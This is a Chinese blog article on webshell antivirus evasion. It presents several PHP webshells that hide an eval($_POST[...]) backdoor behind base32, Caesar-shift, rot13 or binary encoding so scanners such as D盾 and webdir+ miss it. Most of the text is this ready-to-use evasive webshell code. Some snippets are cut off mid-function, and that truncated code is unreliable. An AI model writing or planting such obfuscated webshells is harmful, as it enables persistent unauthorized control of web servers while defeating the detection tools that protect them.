当前位置:   article > 正文

不可不学!一些webshell免杀的技巧

webshell免杀

一些webshell免杀的技巧

0x00:前言
由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束。

0x01:自定义加密Bypass
部分杀软会直接将一些编码函数如Base64、编码后的关键字或组合函数加入了规则 比如某dir+
在这里插入图片描述

比如这个 都能被检测出是shell

所以为了防止这种的规则 自定义加密显然是最优解

自定义加密可选性多了 只要能把加密后的字符还原回去就行 比如base32 base58 这类的base编码全家桶 或者自定义ascii移位 甚至是对称加密算法等都是可以绕过这类规则检测

base32编码payload
(https://github.com/pureqh/webshell):

<?php class KUYE{ public $DAXW = null; public $LRXV = null; function __construct(){ $this->DAXW = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy'; $this->LRXV = @SYXJ($this->DAXW); @eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/"); }} new KUYE(); function MNWK($QSFX){ $BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567'; $NLHB = ''; $v = 0; $vbits = 0; for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){ $v <<= 8; $v += ord($QSFX[$i]); $vbits += 8; while ($vbits >= 5) { $vbits -= 5; $NLHB .= $BASE32_ALPHABET[$v >> $vbits]; $v &= ((1 << $vbits) - 1);}} if ($vbits > 0){ $v <<= (5 - $vbits); $NLHB .= $BASE32_ALPHABET[$v];} return $NLHB;} function SYXJ($QSFX){ $NLHB = ''; $v = 0; $vbits = 0; for ($i = 0, $j = strlen($QSFX); $i < $j; $i++){ $v <<= 5; if ($QSFX[$i] >= 'a' && $QSFX[$i] <= 'z'){ $v += (ord($QSFX[$i]) - 97); } elseif ($QSFX[$i] >= '2' && $QSFX[$i] <= '7') { $v += (24 + $QSFX[$i]); } else { exit(1); } $vbits += 5; while ($vbits >= 8){ $vbits -= 8; $NLHB .= chr($v >> $vbits); $v &= ((1 << $vbits) - 1);}} return $NLHB;} ?>

在这里插入图片描述

ascii码移位payload(凯撒加密)

<?php class FKPC{ function __construct(){ $this->TQYV = "bs^i%!\MLPQXwbolZ&8"; $this->WZDM = @HHGJ($this->TQYV); @eval("/*#jkskjwjqo*/".$this->WZDM."/*sj#ahajsj*/"); }} new FKPC(); function HHGJ($UyGv) { $svfe = []; $mxAS = ''; $f = $UyGv; for ($i=0;$i

在这里插入图片描述

居然没过webdir+
那如何解决呢 我们后面再说 当然应付D盾还是绰绰有余了

Rot13加密payload

<?php class KUYE{ public $DAXW = null; public $LRXV = null; function __construct(){ $this->DAXW = 'riny($_CBFG[mreb]);'; $this->LRXV = @str_rot13($this->DAXW); @eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/"); }} new KUYE(); ?>

二进制转化payload

<?php class KUYE{ public $DAXW = null; public $LRXV = null; function __construct(){ $this->DAXW = '1100101 1110110 1100001 1101100 101000 100100 1011111 1010000 1001111 1010011 1010100 1011011 1111010 1100101 1110010 1101111 1011101 101001 111011'; $this->LRXV = @BinToStr($this->DAXW); @eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/"); }} new KUYE(); function Bi
声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop博客】
推荐阅读
相关标签
  

闽ICP备14008679号